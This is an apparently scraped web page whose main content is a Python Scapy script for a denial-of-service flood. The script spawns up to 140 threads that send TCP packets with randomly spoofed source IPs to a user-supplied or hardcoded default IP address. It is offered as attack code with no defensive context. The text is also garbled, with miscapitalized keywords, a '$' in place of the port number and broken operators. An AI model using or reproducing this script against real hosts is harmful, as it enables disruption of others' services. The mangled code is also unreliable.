Parsing python server denial of service attack code

Source: Internet
Author: User
The code is as follows:


#-*-coding:cp936-*-
From Scapy.all Import *
From threading Import Thread,activecount
From random import Randint

Class Loop (Thread):
def __init__ (SELF,REMOTEADDR):
Thread.__init__ (self)
SELF.REMOTEADDR = remoteaddr

def run (self):
ip = str (randint (0,255)) + '. ' \
+str (Randint (0,255)) + '. ' \
+str (Randint (0,255)) + '. ' \
+str (Randint (0,255))
SR1 (IP (src = IP,DST = self.remoteaddr)/tcp (dport = $), retry = 0,verbose = 0,timeout = 3)


Class Main (Thread):
def __init__ (SELF,REMOTEADDR):
Thread.__init__ (self)
SELF.REMOTEADDR = remoteaddr

def run (self):
Limit = 140
Total = 0

While True:
If Activecount () < limit:
Loop (remoteaddr = self.remoteaddr). Start ()
Total = Total + 1
print ' The number of Httpflood currently in progress is: ', total

if __name__ = = ' __main__ ':
remoteaddr = raw_input (' ip= ')
if remoteaddr = = ':
remoteaddr = ' 202.103.25.12 '

Main (remoteaddr = remoteaddr). Start ()

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.